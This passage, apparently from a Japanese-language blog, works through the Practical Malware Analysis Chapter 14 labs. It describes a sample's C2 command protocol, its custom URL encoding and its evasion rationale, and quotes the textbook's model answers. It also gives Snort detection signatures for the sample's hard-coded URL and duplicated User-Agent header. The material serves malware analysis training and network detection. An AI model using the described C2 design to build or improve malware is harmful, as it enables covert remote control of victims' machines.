.text:00401712 E8 3A FF FF FF          call    Update_autobat_exe_401651 ; execute if command is "r"
.text:00401717 83 C4 04                add     esp, 4
.text:0040171A 8B 45 0C                mov     eax, [ebp+arg_4]
.text:0040171D C7 00 01 00 00 00       mov     dword ptr [eax], 1

7. What is the purpose of this malware?

このマルウェアはまず、C:\autobat.exeというテキストファイルから通信先のURLを読み込む。ファイルが存在しない場合は新しく作成する。初期値のURLはhttp://www.practicalmalwareanalysis[.]com/start.htm である。

続いてマルウェアはC:\autobat.exeから読み取ったURLに対してHTTPリクエストを送信して、サーバーのレスポンスに含まれている<noscript>タグからコマンドを受け取る。受け取るコマンドの種類は以下の通り。

  • d : C2 URLからファイルをダウンロードして実行する。(サブルーチン 0x401565)
  • n : マルウェアの終了フラグに1をセットする。(アドレス 0x4016F7)。このコマンドが送られるとマルウェアは20秒間スリープした後、終了する。
  • s : 一定時間スリープする。(サブルーチン 0x401613)
  • r : 設定ファイル (C:\autobat.exe)を更新する。(サブルーチン 0x401372)

受け取ったコマンドがdだった場合、マルウェアはサーバーのレスポンスからダウンロード先のURLを抽出してデコードし、ファイルをダウンロードして実行する。

受け取ったコマンドがrだった場合、マルウェアはサーバーのレスポンスからURLを抽出してデコードし、設定ファイルC:\autobat.exeに記述されているURLを更新する。

コマンドの実行が完了するとマルウェアは20秒間スリープした後、再びC2サーバーと通信してコマンドを待ち受ける。直前に受け取ったコマンドがnだった場合、マルウェアはスリープ後に終了する。

nコマンドを受け取らない限り、マルウェアは20秒ごとにC2サーバーと通信してコマンドを実行する。

8. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?

  • マルウェア固有のHTTPヘッダー
  • マルウェア固有の方式によってエンコード・暗号化された通信データ
  • マルウェアやその設定ファイルにハードコードされている値

9. What set of signatures should be used for this malware?

以下のシグネチャは設定ファイルにハードコードされたURLへの通信を検知する。

alert tcp any any -> any any (msg:"Lab14-03.exe Hard-coded URL"; content:"T "; offset:2; depth:3; content:"/start.htm HTTP/1."; content:"Host: www.practicalmalwareanalysis.com"; distance:0;)

以下のシグネチャはマルウェアが使用するユーザーエージェントを検知する。

alert tcp any any -> any any (msg:"Lab14-03.exe Double User-Agent header"; content:"T "; offset:2; depth:3; content:"HTTP/1."; distance:0; content:"User-Agent: User-Agent: ")

模範解答

Lab 14-1

1. The program contains the URLDownloadToCacheFile function, which uses the COM interface. When malware uses COM interfaces, most of the content of its HTTP requests comes from within Windows itself, and therefore cannot be effectively targeted using network signatures.

2. The source elements are part of the host's GUID and the username. The GUID is unique for any individual host OS, and the 6-byte portion used in the beacon should be relatively unique. The username will change depending on who is logged in to the system.

3. The attacker may want to track the specific hosts running the downloader and target specific users.

4. The Base64 encoding is not standard since it uses an a instead of an equal sign (=) for its padding.

5. This malware downloads and executes other code.

6. The elements of the malware communication to be targeted include the domain name, the colons and the dash found after Base64 decoding, and the fact that the last character of the Base64 portion of the URI is the single character used for the filename of the PNG file.

7. Defenders may try to target elements other than the URI if they don't realize that the OS determines them. In most cases, the Base64 string ends with an a, which usually makes the filename appear as a.png. However, if the username length is an even multiple of three, both the final character and the filename will depend on the last character in the encoded username. In this case, the filename is unpredictable.

8. See the detailed analysis for recommended signatures.

Lab 14-2

1. The attacker may find static IP addresses more difficult to manage than domain names. Using DNS allows the attacker to deploy his assets to any computer and dynamically redirect his bots by changing only a DNS address. The defender has various options for deploying defenses for both types of infrastructure, but for similar reasons, IP addresses can be more difficult to deal with than domain names. This fact alone could lead an attacker to choose static IP addresses over domains.

2. The malware uses the WinINet libraries. One disadvantage of these libraries is that a hard-coded User-Agent needs to be provided, and optional headers need to be hard-coded if desired. One advantages of the WinINet libraries over the Winsock API, for example, is that some elements, such as cookies and caching headers, are provided by the OS.

3. A string resource section in the PE file contains the URL that is used for command and control. The attacker can use the resource section to deploy multiple backdoors to multiple command-and-control locations without needing to recompile the malware.

4. The attackers abuses the HTTP UserAgent field, which should contain the application information. The malware creates one thread that encodes outgoing information in this field, and another that uses a static field to indicate that it is the "receive" side of the channel.

5. The initial beacon is an encoded command-shell prompt.

6. While the attacker encodes outgoing information, he doesn't encode the incoming commands. Also, because the server must distinguish between the two communication channels via the static elements of the User-Agent fields, this server dependency is apparent and can be targeted with signatures.

7. The encoding scheme is Base64, but with a custom alphabet.

8. Communication is terminated using the keyword exit. When exiting, the malware tries to delete itself.

9. This malware is a small, simple backdoor. Its sole purpose is to provide a command-shell interface to a remote attacker that won't be detected by common network signatures that watch for outbound command-shell activity. This particular malware is likely a throwaway component of an attacker's toolkit, which is supported by the fact that the tool tries to delete itself.

Lab 14-3

1. The hard-coded headers include Accept, Accept-Language, UA-CPU, Accept-Encoding, and User-Agent. The malware author mistakenly adds an additional User-Agent: in the actual User-Agent, resulting in a duplicate string: User-Agent: User-Agent: Mozilla... The complete User-Agent header (including the duplicate) makes an effective signature.

2. Both the domain name and path of the URL are hard-coded only where the configuration file is unavailable. Signatures should be made for this hard-coded URL, as well as any configuration files observed. However, it would probably be more fruitful to target just the hard-coded components than to link them with the more dynamic URL. Because the URL used is stored in a configuration file and can be changed with one of the commands, we know that it is ephemeral.

3. The malware obtains commands from specific components of a web page from inside noscript tags, which is similar to the Comment field example mentioned in the chapter. Using this technique, malware can beacon to a legitimate web page and receive legitimate content, making analysis of malicious versus legitimate traffic more difficult for a defender.

4. In order for content to be interpreted as a command, it must include an initial noscript tag followed by a full URL (including http://) that contains the same domain name being used for the original web page request. The path of that URL must end with 96'. Between the domain name and the 96 (which is truncated), two sections compose command and arguments (in a form similar to /command/1213141516). The first letter of the command must correspond with an allowed command, and, when applicable, the argument must be translatable into a meaningful argument for the give command.
The malware author limits the strings available to provide clues about the malware functionality. When searching for noscript, the malware searches for <no, and then verifies the noscript tag with independent and scrambled chracter comparisons. The malware also reuses the same buffer used for the domain to check for command content. The other string search for 96' is only three characters and the only other searches are for the / character. When evaluating the command, only the first character is considered, so the attacker may, for example, give the malware the command to sleep with either the word soft or seller in the web response. Traffic analysis might identify the attacker's use of the word soft to send a command to the malware, and that might lead to the misguided use of the complete word in a signature. The attacker is free to use seller or any other word starting with s without modification of the malware.

5. There is no encoding for the sleep command; the number represents the number of seconds to sleep. For two of the commands, the argument is encoded with a custom, albeit simple, encoding that is not Base64. The argument is presented as an even number of digits (once the trailing 96 is removed). Each set of two digits represents the raw number that is an index into the array /abcdefghijklmnopqrstuvwxyz0123456789:.. These arguments are used only to communicate URLs, so there is no need for capital characters. The advantage to this scheme is that it is nonstandard, so we need to reverse-engineer it in order to understand its content. The disadvantage is that it is simple. It may be identified as suspicious in strings output, and because the URLs always begin in the same way, there will be a consistent pattern.

6. The malware commands include quit, download, sleep, and redirect. The quit command simply quits the program. The download command downloads and runs an executable, except that, unlike in the previous lab, the attacker can specify the URL from which to download. The redirect command modifies the configuration file used by the malware so that there is a new beacon URL.

7. This malware is inherently a downloader. It comes with some important advantages, such as web-based control and the ability to easily adjust as malicious domains are identified and shut down.

8. Some distinct elements of malware behavior that may be independently targetable include the following:

  • Signatures related to the statically defined domain and path and similar information from any dynamically discovered URLs
  • Signatures related to the static components of the beacon
  • Signatures that identify the initial requirements for a command
  • Signatures that identify specific attributes of command and argument paris

9. See the detailed analysis for specific signatures.

答え合わせ

Lab 14-1

自分の解析には以下の事柄が不足していた。

  • マルウェアがダウンロードするPNGのファイル名はカスタムBase64エンコードされたURLパスの最後の1文字から取られる。

Lab 14-3

自分の解析には以下の事柄が不足していた。

  • C2サーバーから送られるコマンドの終端文字列は96'
  • URLのデコード処理 (サブルーチン 0x401147) の詳細な解析。(<noscript> タグに含まれているデータを2バイトずつ取り出して整数に変換した後、換字表/abcdefghijklmnopqrstuvwxyz0123456789:.のインデックスとして使用する。)
  • C2サーバーのレスポンスのフォーマットは以下の通り。
    • <noscript>[encoded URL]/[command (d|n|s|r)]/arg96'

Leave a Reply

Your email address will not be published. Required fields are marked *